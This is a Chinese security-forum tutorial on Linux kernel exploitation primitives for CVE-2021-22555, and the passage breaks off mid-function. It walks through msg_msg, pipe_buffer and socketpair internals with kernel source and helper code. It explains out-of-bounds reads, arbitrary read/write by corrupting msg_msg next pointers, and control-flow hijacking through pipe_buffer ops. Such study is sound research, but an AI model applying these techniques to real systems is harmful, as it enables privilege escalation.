本文为看雪论坛精华文章
看雪论坛作者ID:PIG-007
一
环境搭建
参考文章:
CVE-2021-22555 2字节堆溢出写0漏洞提权分析
https://www.anquanke.com/post/id/254027
或者我写的项目:
KernelAll
https://www.anquanke.com/post/id/254027
要注意的是,在我写的项目里的CVE环境中,去掉了配置:CONFIG_SECURITY=n,原因是在load_msg()函数中申请msg_msg结构体时,如下所示,会调用到security_msg_msg_alloc()函数,给msg_msg结构体中的security指针赋值,导致下面漏洞利用时读取伪造msg_msg结构体由于检测security导致出错。
//v5.11.14 /ipc/msgutil.c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len);
//....
err = security_msg_msg_alloc(msg);
if (err)
goto out_err;
return msg;
out_err:
free_msg(msg);
return ERR_PTR(err);
}
而去掉了配置:CONFIG_SECURITY=n,可以不用security指针,这样就不会出错了。
//v5.11.14 /include/linux/security.h
#ifdef CONFIG_SECURITY
//.....
int security_msg_msg_alloc(struct msg_msg *msg);
void security_msg_msg_free(struct msg_msg *msg);
int security_msg_queue_alloc(struct kern_ipc_perm *msq);
void security_msg_queue_free(struct kern_ipc_perm *msq);
int security_msg_queue_associate(struct kern_ipc_perm *msq, int msqflg);
int security_msg_queue_msgctl(struct kern_ipc_perm *msq, int cmd);
int security_msg_queue_msgsnd(struct kern_ipc_perm *msq,
struct msg_msg *msg, int msqflg);
int security_msg_queue_msgrcv(struct kern_ipc_perm *msq, struct msg_msg *msg,
struct task_struct *target, long type, int mode);
//....
#else /* CONFIG_SECURITY */
//....
static inline int security_msg_msg_alloc(struct msg_msg *msg){return 0;}
static inline void security_msg_msg_free(struct msg_msg *msg){ }
static inline int security_msg_queue_alloc(struct kern_ipc_perm *msq){return 0;}
static inline void security_msg_queue_free(struct kern_ipc_perm *msq){ }
static inline int security_msg_queue_associate(struct kern_ipc_perm *msq,
int msqflg){return 0;}
static inline int security_msg_queue_msgctl(struct kern_ipc_perm *msq, int cmd){return 0;}
static inline int security_msg_queue_msgsnd(struct kern_ipc_perm *msq,
struct msg_msg *msg, int msqflg){return 0;}
static inline int security_msg_queue_msgrcv(struct kern_ipc_perm *msq,
struct msg_msg *msg,
struct task_struct *target,
long type, int mode){return 0;}
//....
#endif /* CONFIG_SECURITY */
但是在bsauce师傅提供的环境中有添加该配置,而security指针的值却还是为空。简单看了一下源码,如下函数链:
load_msg()->security_msg_msg_alloc()->lsm_msg_msg_alloc()
对于lsm_msg_msg_alloc()函数如下定义:
static int lsm_msg_msg_alloc(struct msg_msg *mp)
{
if (blob_sizes.lbs_msg_msg == 0) {
mp->security = NULL;
return 0;
}
mp->security = kzalloc(blob_sizes.lbs_msg_msg, GFP_KERNEL);
if (mp->security == NULL)
return -ENOMEM;
return 0;
}
可以看到这里进行相关赋值,如果满足blob_sizes.lbs_msg_msg == 0那么其security指针为空,后续检测时也依据此判断不检测。而对于这个blob_sizes.lbs_msg_msg不是很熟悉,可能是我的相关配置问题吧。这里为了方便,我就直接将这个配置去掉了。
此外经过实际测试,源码也可以看出来,其实security也就是一个堆地址(以0x8递增),是不断变化的,但是如果能泄露出其中一个,那么后续检测就能都通过了。
二
前置知识
完成这个漏洞的利用还是需要一些前置知识的,刚好利用这个漏洞重新完善一下相关的知识点。
这个在之前也总结过,不过总结得有些错误,也不太完善,这里再好好总结一下。
参照:
【NOTES.0x08】Linux Kernel Pwn IV:通用结构体与技巧 - arttnba3's blog
https://arttnba3.cn/2021/11/29/NOTE-0X08-LINUX-KERNEL-PWN-PART-IV/#%E5%88%86%E9%85%8D%EF%BC%88GFP-KERNEL-ACCOUNT%EF%BC%89%EF%BC%9Amsgsnd-%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8
Linux内核中利用msg_msg结构实现任意地址读写 - 安全客,安全资讯平台 (anquanke.com)
https://www.anquanke.com/post/id/252558
Linux的进程间通信 - 消息队列 · Poor Zorro's Linux Book (gitbooks.io)
https://zorro.gitbooks.io/poor-zorro-s-linux-book/content/linuxde-jin-cheng-jian-tong-xin-xiao-xi-dui-lie.html
《Linux系统编程手册》
虽然写的是最大kmalloc-1024,但是在堆喷时,可以连续kmalloc(1024)从而获得连续的堆内存分布,这样都释放掉之后再经过回收机制就可以申请到更大的kmallo-xx了。
//key要么使用ftok()算法生成,要么指定为IPC_PRIVATE
//代表着该消息队列在内核中唯一的标识符
//使用IPC_PRIVATE会生成全新的消息队列IPC对象
int32_t make_queue(key_t key, int msg_flag)
{
int32_t result;
if ((result = msgget(key, msg_flag)) == -1)
{
perror("msgget failure");
exit(-1);
}
return result;
}
int queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
typedef struct
{
long mtype;
char mtext[1];
}msgp;
//msg_buf实际上为msgp,里面包含mtype,这个mtype在后面的堆块构造中很有用
void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
{
perror("msgsend failure");
exit(-1);
}
return;
}
char queue_send_buf[0x2000];
m_ts_size = 0x400-0x30;//任意指定
msg *message = (msg *)queue_send_buf;
message->mtype = 0;
send_msg(queue_id, message, m_ts_size, 0);
void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
{
perror("msgrcv");
exit(-1);
}
return;
}
char queue_recv_buf[0x2000];
m_ts_size = 0x400-0x30;//任意指定
get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
可以关注一下MSG_NOERROR标志位,比如说msg_flag没有设置MSG_NOERROR的时候,那么情况如下:
假定获取消息时输入的长度m_ts_size为0x200,且这个长度大于通过find_msg()函数获取到的消息长度0x200,则可以顺利读取,如果该长度小于获取到的消息长度0x200,则会出现如下错误。
但是如果设置了MSG_NOERROR,那么即使传入接收消息的长度小于获取到的消息长度,仍然可以顺利获取,但是多余的消息会被截断,相关内存还是会被释放,这个在源代码中也有所体现。
//v5.11 /ipc/msg.c do_msgrcv函数中
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
此外还有更多的msg_flag,就不一一举例了。
这个主要是用到msgctl封装函数或者__NR_msgctl系统调用,直接释放掉所有的消息结构,包括申请的msg_queue的结构。
//其中IPC_RMID这个cmd命令代表释放掉该消息队列的所有消息,各种内存结构体等
if(msgctl(queue_id,IPC_RMID,NULL)==-1)
{
perror("msgctl");
exit(-1);
}
不过一般也用不到,可能某些合并obj的情况能用到?
此外还有更多的cmd命令,常用来设置内核空间的msg_queue结构上的相关数据,不过多介绍了。
总结一下大致的使用方法如下:
typedef struct
{
long mtype;
char mtext[1];
}msgp;
int32_t make_queue(key_t key, int msg_flag)
{
int32_t result;
if ((result = msgget(key, msg_flag)) == -1)
{
perror("msgget failure");
exit(-1);
}
return result;
}
void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
{
perror("msgrcv");
exit(-1);
}
return;
}
void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
{
perror("msgsend failure");
exit(-1);
}
return;
}
int main()
{
int queue_id, m_ts_size;
char queue_recv_buf[0x2000];
char queue_send_buf[0x2000];
m_ts_size = 0x400-0x30;
msgp *message = (msgp *)queue_send_buf;
message->mtype = 0;
memset(message->mtext,'\xaa', m_ts_size);
memset(queue_recv_buf, '\xbb', sizeof(queue_recv_buf));
queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(queue_id, message, m_ts_size, 0);
get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
return 0;
}
msgget(key,msg_flag)->ksys_msgget()->ipcget()->ipcget_new()->newque()
//v5.11 /ipc/msg.c
static int newque(struct ipc_namespace *ns, struct ipc_params *params)
{
struct msg_queue *msq;
int retval;
key_t key = params->key;
int msgflg = params->flg;
//这个才是实际申请的堆块内存
msq = kvmalloc(sizeof(*msq), GFP_KERNEL);
if (unlikely(!msq))
return -ENOMEM;
msq->q_perm.mode = msgflg & S_IRWXUGO;
msq->q_perm.key = key;
msq->q_perm.security = NULL;
//进行相关注册
retval = security_msg_queue_alloc(&msq->q_perm);
if (retval) {
kvfree(msq);
return retval;
}
//初始化
msq->q_stime = msq->q_rtime = 0;
msq->q_ctime = ktime_get_real_seconds();
msq->q_cbytes = msq->q_qnum = 0;
msq->q_qbytes = ns->msg_ctlmnb;
msq->q_lspid = msq->q_lrpid = NULL;
INIT_LIST_HEAD(&msq->q_messages);
INIT_LIST_HEAD(&msq->q_receivers);
INIT_LIST_HEAD(&msq->q_senders);
//下面一堆看不懂在干啥
/* ipc_addid() locks msq upon success. */
retval = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni);
if (retval < 0) {
ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
return retval;
}
ipc_unlock_object(&msq->q_perm);
rcu_read_unlock();
return msq->q_perm.id;
}
//v5.11 /ipc/msg.c
struct msg_queue {
//这些为一些相关信息
struct kern_ipc_perm q_perm;
time64_t q_stime; /* last msgsnd time */
time64_t q_rtime; /* last msgrcv time */
time64_t q_ctime; /* last change time */
unsigned long q_cbytes; /* current number of bytes on queue */
unsigned long q_qnum; /* number of messages in queue */
unsigned long q_qbytes; /* max number of bytes on queue */
struct pid *q_lspid; /* pid of last msgsnd */
struct pid *q_lrpid; /* last receive pid */
//存放msg_msg相关指针next、prev,比较重要,通常拿来溢出制造UAF
//和该消息队列里的所有消息组成双向循环链表
struct list_head q_messages;
struct list_head q_receivers;
struct list_head q_senders;
} __randomize_layout;
msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)->do_msgsnd()->load_msg()->alloc_msg()
//v5.11 /ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
//最大发送DATALEN_MSG长度的消息
//#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
//这里的PAGE_SIZE为0x400,即最多kmalloc-
alen = min(len, DATALEN_MSG);
//使用正常
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;
//如果传入消息长度超过0x400-0x30,就再进行申请msg_msgseg。
//使用kmalloc申请,标志为GFP_KERNEL_ACCOUNT。
//最大也为0x400,也属于kmalloc-1024
//还有再长的消息,就再申请msg_msgseg
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
//不知道干啥的
cond_resched();
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
//申请完之后,将msg_msgseg放到msg->next这个单向链表上
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
return msg;
out_err:
free_msg(msg);
return NULL;
}
//v5.11 /include/linux/msg.h
struct msg_msg {
struct list_head m_list;//与msg_queue或者其他的msg_msg组成双向循环链表
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;//单向链表,指向该条信息后面的msg_msgseg
void *security;
/* the actual message follows immediately */
};
//v5.11 /ipc/msgutil.c
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
在一个msg_queue队列下,消息长度为0x1000-0x30-0x8-0x8-0x8。
一条消息:
两条消息:
以msg_queue的struct list_head q_messages;域为链表头,和msg_msg结构的struct list_head m_list域串联所有的msg_msg形成双向循环链表。
同理,同一个msg_queue消息队列下的多条消息也是类似的。
调用完alloc_msg()函数后,回到load_msg()函数接着进行数据复制,函数还是挺简单的。
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);
//先复制进msg_msg中存放消息的部分
alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;
//遍历msg_msg下的msg_msgseg,逐个存放数据进去
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
err = security_msg_msg_alloc(msg);
if (err)
goto out_err;
return msg;
out_err:
free_msg(msg);
return ERR_PTR(err);
}
相关的函数调用链:
msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag)->SYS_msgrcv()->ksys_msgrcv()->do_msgrcv()->do_msg_fill()->store_msg()
首先关注一下do_msgrcv()函数,里面很多东西都比较重要。
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
DEFINE_WAKE_Q(wake_q);
//....
if (msqid < 0 || (long) bufsz < 0)
return -EINVAL;
//设置了MSG_COPY标志位就会准备一个msg_msg的副本copy,通常用来防止unlink
if (msgflg & MSG_COPY) {
//从这里可以看出,同样也需要设置IPC_NOWAIT标志位才不会出错
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
//这个prepare_copy()函数内部调用了load_msg()函数来创建一个新的msg_msg/msg_msgseg
//传入的size参数为bufsz,就用户空间实际需要消息的长度,那么申请的堆块长度就可变了
//不一定是这条消息的长度,而是由我们直接控制,虽然最后也会释放掉
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
/*
static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
{
struct msg_msg *copy;
copy = load_msg(buf, bufsz);
if (!IS_ERR(copy))
copy->m_ts = bufsz;
return copy;
}
*/
if (IS_ERR(copy))
return PTR_ERR(copy);
}
//这样就不会将msg_msg从msg_queue消息队列中进行Unlink摘除
//只是释放堆块,在后续的代码中有显示
//......
//开始从msg_queue中寻找合适的msg_msg
for (;;) {
//.....
msg = find_msg(msq, &msgtyp, mode);
if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
//最好设置MSG_NOERROR标志位,这样请求获取消息长度小于m_ts程序也不会退出了
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
//设置了MSG_COPY标志位就会将msg数据复制给copy,然后将copy赋给msg
if (msgflg & MSG_COPY) {
//这个copy_msg()函数就是之前提到的在汇编层面就很奇怪
msg = copy_msg(msg, copy);
goto out_unlock0;
}
//下面是将msg_msg从和msg_queue组成的双向循环链表中unlink出来的部分
list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);
goto out_unlock0;
}
//....
}
out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
//如果存在copy副本,那么就free掉copy副本,然后返回,而不会free掉原本的msg堆块
if (IS_ERR(msg)) {
free_copy(copy);
return PTR_ERR(msg);
}
//这个msg_handler函数指针即为传入的do_msg_fill()函数,从里面进行相关的数据复制
bufsz = msg_handler(buf, msg, bufsz);
//最后在这里进行相关堆块的释放
free_msg(msg);
return bufsz;
}
一般而言,我们使用msg_msg进行堆构造(比如溢出或者其他什么的)的时候,当需要从消息队列中读取消息而又不想释放该堆块时,会结合MSG_COPY这个msgflg标志位,防止在读取的时候发生堆块释放从而进行双向循环链表的unlink触发错误。
//v5.11 do_msgrcv()函数中的
/* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}
//下面是unlink的部分,如果msg_msg结构被修改了可能会出错的
list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);
goto out_unlock0;
使用这个标志位还需要在内核编译的时候设置CONFIG_CHECKPOINT_RESTORE=y才行,否则还是会出错的。
//v5.11 /ipc/msgutil.c
#ifdef CONFIG_CHECKPOINT_RESTORE
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
//正常的一些数据复制
}
#else
//如果没有设置CONFIG_CHECKPOINT_RESTORE=y则会出错
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
return ERR_PTR(-ENOSYS);
}
#endif
注:还有一点不知道是不是什么bug,在某些内核版本中,至少我的v5.11中,MSG_NOERROR和MSG_COPY(后续会讲到)没有办法同时生效,关键点在于copy_msg()函数中,转化成汇编如下:
注意到红框的部分,获取rdi(msg)和rsi(copy)对应的m_ts进行比较,而copy的m_ts是从用户传进来的想要获取消息的长度,如果小于实际的msg的m_ts长度,那就标记错误然后退出。可以这个比较应该是在后面才会进行的,但是这里也突然冒出来,就很奇怪,导致这两个标志位没办法同时发挥作用。
同理如果不指定MSG_COPY这个标志时,从消息队列中读取消息就会触发内存释放,这里就可以依据发送消息时设置的mtype和接收消息时设置的msgtpy来进行消息队列中各个位置的堆块的释放。
不管什么标志位,只要不是MSG_NOERROR和MSG_COPY联合起来,并且申请读取消息长度size小于通过find_msg()函数获取到的实际消息的m_ts,那么最终都会走到do_msgrcv()函数的末尾,通过如下代码进行数据复制和堆块释放。
bufsz = msg_handler(buf, msg, bufsz);
free_msg(msg);
(3)利用
这样,当我们通过之前提到的double-free/UAF,并且再使用setxattr来对msg_msgmsg中的m_ts进行修改,这样在我们调用msgrcv的时候就能越界从堆上读取内存了,就可能能够泄露到堆地址或者程序基地址。
使用setxattr的时候需要注意释放堆块时FD的位置,不同内核版本开启不同保护下FD的位置不太一样。
为了获取到地址的成功性更大,我们就需要用到单个msg_queue和单个msg_msg的内存模型。
可以看到单个msg_msg在msg_queue的管理下形成双向循环链表,所以如果我们通过msgget和msgsnd多申请一些相同大小的且只有一个msg_msg结构体的msg_queue,那么越界读取的时候,就可以读取到只有单个msg_msg的头部了。
而单个msg_msg由于双向循环链表,其头部中又存在指向msg_queue的指针,那么这样就能泄露出msg_queue的堆地址了。
完成上述泄露msg_queue的堆地址之后,就需要用到msg_msg的内存布局了。
由于我们的msg_msg消息的内存布局如下:
相关读取源码如下:
//v4.9----ipc/msgutil.c
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
----------------------------------------------------------------
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
size_t alen;
struct msg_msgseg *seg;
alen = min(len, DATALEN_MSG);
if (copy_to_user(dest, msg + 1, alen))
return -1;
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
dest = (char __user *)dest + alen;
alen = min(len, DATALEN_SEG);
if (copy_to_user(dest, seg + 1, alen))
return -1;
}
return 0;
}
所以如果我们可以修改next指针和m_ts,结合读取msg最终调用函数store_msg的源码,那么就能够实现任意读取。
那么接着上面的,我们得到msg_queue之后,可以再将msg_msg的next指针指回msg_queue,读出其中的msg_msg,就能获得当前可控堆块的堆地址。
这样完成之后,我们结合userfaultfd和setxattr频繁修改next指针就能基于当前堆地址来进行内存搜索了,从而能够完成地址泄露。
同时需要注意的是,判断链表是否结束的依据为next是否为null,所以我们任意读取的时候,最好找到一个地方的next指针处的值为null。
同样的,msg_msg由于next指针的存在,结合msgsnd也具备任意地址写的功能。我们可以在拷贝的时候利用userfaultfd停下来,然后更改next指针,使其指向我们需要的地方,比如init_cred结构体位置,从而直接修改进行提权。
参照:(31条消息) Linux系统调用:pipe()系统调用源码分析_rtoax的博客-CSDN博客_linux pipe 源码**
(https://blog.csdn.net/Rong_Toa/article/details/116270704)
通常来讲,管道用来在父进程和子进程之间通信,因为fork出来的子进程会继承父进程的文件描述符副本。这里就使用当前进程来创建管道符,从管道的读取端(pipe_fd[0])和写入端(pipe_fd[1])来进行利用。
#include <unistd.h>
//使用pipe或者pipe2
int pipe_fd[2];
pipe(pipe_fd);//默认阻塞状态
//pipe2(pipe_fd,flag);
如果传入的flag为0,则和pipe函数是一样的,是阻塞的。
阻塞状态:即当没有数据在管道中时,如果还调用read从管道读取数据,那么就会使得程序处于阻塞状态,其他的也是类似的情况。
会默认创建两个fd文件描述符的,该fd文件描述符效果的相关结构如下:
//v5.9 /fs/pipe.c
const struct file_operations pipefifo_fops = {
.open = fifo_open,
.llseek = no_llseek,
.read_iter = pipe_read,
.write_iter = pipe_write,
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release,
.fasync = pipe_fasync,
};
放入到pipe_fd中,如下:
int pipe_fd[2];
pipe(pipe_fd);
printf("pipe_fd[0]:%d\n",pipe_fd[0]);
printf("pipe_fd[1]:%d\n",pipe_fd[1]);
效果如下:
之后使用write/read来写入读取即可,注意写入端为fd[1],读取端为fd[0]。
char buf[0x8] = {0};
char* msg = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
write(pipe_fd[1],msg,0x8);
read(pipe_fd[0],buf,0x8);
②释放
由于pipe管道创建后会对应创建文件描述符,所以释放两端对应的文件描述符即可释放管道pipe管道。
close(pipe_fd[0]);
close(pipe_fd[1]);
需要将两个文件描述符fd都给释放掉或者使用read将管道中所有数据都读取出来,才会进入free_pipe_info函数来释放在线性映射区域申请的相关内存资源,否则还是不会进入的。
发生在调用pipe/pipe2函数,或者系统调用__NR_pipe/__NR_pipe2时,内核入口为:
SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)
{
return do_pipe2(fildes, flags);
}
SYSCALL_DEFINE1(pipe, int __user *, fildes) /* pipe() 系统调用 */
{
return do_pipe2(fildes, 0);
}
函数调用链:
do_pipe2()->__do_pipe_flags()->create_pipe_files()->get_pipe_inode()->alloc_pipe_info()
调用之后会在内核的线性映射区域进行内存分配,也就是常见的内核堆管理的区域。分配点在如下函数中:
//v5.9 /fs/pipe.c
struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
//#define PIPE_DEF_BUFFERS 16
//.....
//pipe_inode_info管理结构,大小为0xa0,属于kmalloc-192
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if (pipe == NULL)
goto out_free_uid;
//.....
//相关的消息结构为pipe_buffer数组,总共16*0x28=0x280,直接从kmalloc-1024中拿取堆块
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
//.....
//对申请的pipe管道进行一些初始化
if (pipe->bufs) {
init_waitqueue_head(&pipe->rd_wait);
init_waitqueue_head(&pipe->wr_wait);
pipe->r_counter = pipe->w_counter = 1;
pipe->max_usage = pipe_bufs;
pipe->ring_size = pipe_bufs;
pipe->nr_accounted = pipe_bufs;
pipe->user = user;
mutex_init(&pipe->mutex);
return pipe;
}
//.....
//出错的话则会释放掉,具体干啥的不太清楚
out_free_uid:
free_uid(user);
return NULL;
}
相关的pipe_inode_info结构如下:
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head;
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;//文件描述符计数,都为0时才会释放管道
unsigned int r_counter;
unsigned int w_counter;
struct page *tmp_page;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
//pipe_buffer数组,16个,每个大小为0xa0,通常我们从这上面泄露地址或者劫持程序流
struct pipe_buffer *bufs;
struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};
直接使用close函数释放管道相关的文件描述符fd两端。
函数链调用链:
pipe_release()->put_pipe_info()->free_pipe_info()
需要注意的时,在put_pipe_info函数中。
//v5.9 /fs/pipe.c
static void put_pipe_info(struct inode *inode, struct pipe_inode_info *pipe)
{
int kill = 0;
spin_lock(&inode->i_lock);
if (!--pipe->files) {
inode->i_pipe = NULL;
kill = 1;
}
spin_unlock(&inode->i_lock);
//当files为0才会进入该函数
if (kill)
free_pipe_info(pipe);
}
只有pipe_inode_info这个管理结构中的files成员为0,才会进行释放,也就是管道两端都关闭掉才行。
相关释放函数free_pipe_info
//v5.9 /fs/pipe.c
void free_pipe_info(struct pipe_inode_info *pipe)
{
int i;
//....
//和管道相关的释放有关,也是相关的漏洞点
for (i = 0; i < pipe->ring_size; i++) {
struct pipe_buffer *buf = pipe->bufs + i;
if (buf->ops)
pipe_buf_release(pipe, buf);
}
//......
//释放pipe_buffer数组,kmalloc-1024
kfree(pipe->bufs);
//释放pipe_inode_info管理结构,kmalloc-192
kfree(pipe);
}
pipe_buffer结构的buf
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
其中的ops成员,即struct pipe_buf_operations结构的pipe->bufs[i]->ops,其中保存着全局的函数表,可通过这个来泄露内核基地址,相关结构如下所示:
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
②劫持程序流
当关闭了管道的两端时,调用到free_pipe_info函数,在清理pipe_buffer时进入如下判断:
if (buf->ops)
pipe_buf_release(pipe, buf);
当管道中存在未被读取的数据时,即我们需要调用write向管道的写入端写入数据。
//v5.9 /fs/pipe.c
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
//......
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
//......
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
//......
}
然后不要将数据全部读取出来,如果全部读取出来的话,那么在read对应的pipe_read函数中就会如下情况。
//v5.9 /fs/pipe.c
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
//....
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
//....
if (!buf->len) {
pipe_buf_release(pipe, buf);
//....
}
//....
}
从而调用pipe_buf_release将buf->ops清空。
注:(其实这里既然调用到了pipe_buf_release函数,那么我们直接通过read将管道pipe中的所有数据读取出来,其实也能执行该release函数指针的,从而劫持程序控制流的。)
那么接着上述的情况,那么在关闭两端时buf->ops这个函数表就会存在。
而当buf->ops这个函数表存在时,关闭管道符两端进入上述判断之后,就会调用到其中的pipe_buf_release函数,该函数会调用到这个buf->ops函数表结构下对应的relase函数指针,该指针在上述的pipe_buf_operations结构中有提到。
那么如果劫持了buf->ops这个函数表,就能控制到release函数指针,从而劫持控制流程。
不过pipe管道具体的保存的数据放在哪里,还是不太清楚,听bsauce说是在struct pipe_buffer结构下buf的page里面,但是没有找到,后续还需要继续看看,先mark一下。这样也可以看出来,每写入一条信息时,内核的kmalloc对应的堆内存基本是不发生变化的,与下面提到的sk_buff有点不同。
参考:(31条消息) socketpair的用法和理解雪过无痕的博客-CSDN博客_socketpair
https://blog.csdn.net/weixin_40039738/article/details/81095013
和该结构体相关的是一个socketpair系统调用这个也算是socket网络协议的一种,但是是在本地进程之间通信的,而非在网络之间的通信。说到底,这个其实和pipe非常像,也是一个进程间的通信手段。不过相关区分如下:
数据传输模式:
模式:
此外在《Linux系统编程手册》一书中提到,pipe()函数实际上被实现成了一个对socketpair的调用。
#include <sys/socket.h>
//默认必须
int socket_fd[2];
//domain参数必须被指定为AF_UNIX,不同的
int sockPair_return = socketpair(AF_UNIX, SOCK_STREAM, 0, socket_fd);
if( sockPair_return < 0){
perror( "socketpair()" );
exit(1);
}
然后和pipe管道一样,使用write/read即可,不过这个的fd两端都可以写入读取,但是消息传递的时候一端写入消息,就需要从另一端才能把消息读取出来。
char buf[0x8] = {0};
char* msg = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
write(socket_fd[0],msg,0x8);
read(socket_fd[1],buf,0x8);
close(socket_fd[0]);
close(socket_fd[1]);
可以看到和pipe是很相似的。
在调用socketpair这个系统调用号时,并不会进行相关的内存分配,只有在使用write来写入消息,进行数据传输时才会分配。
在调用write进行数据写入时
函数链:
write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg()->内存申请/数据复制
在unix_stream_sendmsg开始分叉
//v5.9 /net/unix/af_unix.c
static int unix_stream_sendmsg(struct socket *sock, struct msghdr *msg,
size_t len)
{
